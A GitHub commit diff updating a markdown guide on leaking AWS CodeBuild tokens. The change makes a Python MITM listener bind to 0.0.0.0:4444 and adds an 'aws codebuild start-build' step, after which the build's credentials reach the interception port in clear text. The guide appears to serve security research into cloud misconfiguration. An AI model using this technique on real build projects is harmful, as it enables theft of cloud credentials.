Skip to content

Commit

Permalink
Update aws-codebuild-token-leakage.md
Browse files Browse the repository at this point in the history
  • Loading branch information
RealFakeAccount committed Dec 26, 2024
1 parent 32d87be commit 4c240ff
Showing 1 changed file with 8 additions and 2 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -149,7 +149,7 @@ aws codebuild update-project --name <proj-name> \
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
Expand All @@ -158,7 +158,13 @@ mitm = MITM(
mitm.run()
```

* Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
* Next, click on **Build the project** or start the build from command line:

```sh
aws codebuild start-build --project-name <proj-name>
```

* Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:

<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>

Expand Down

0 comments on commit 4c240ff

Please sign in to comment.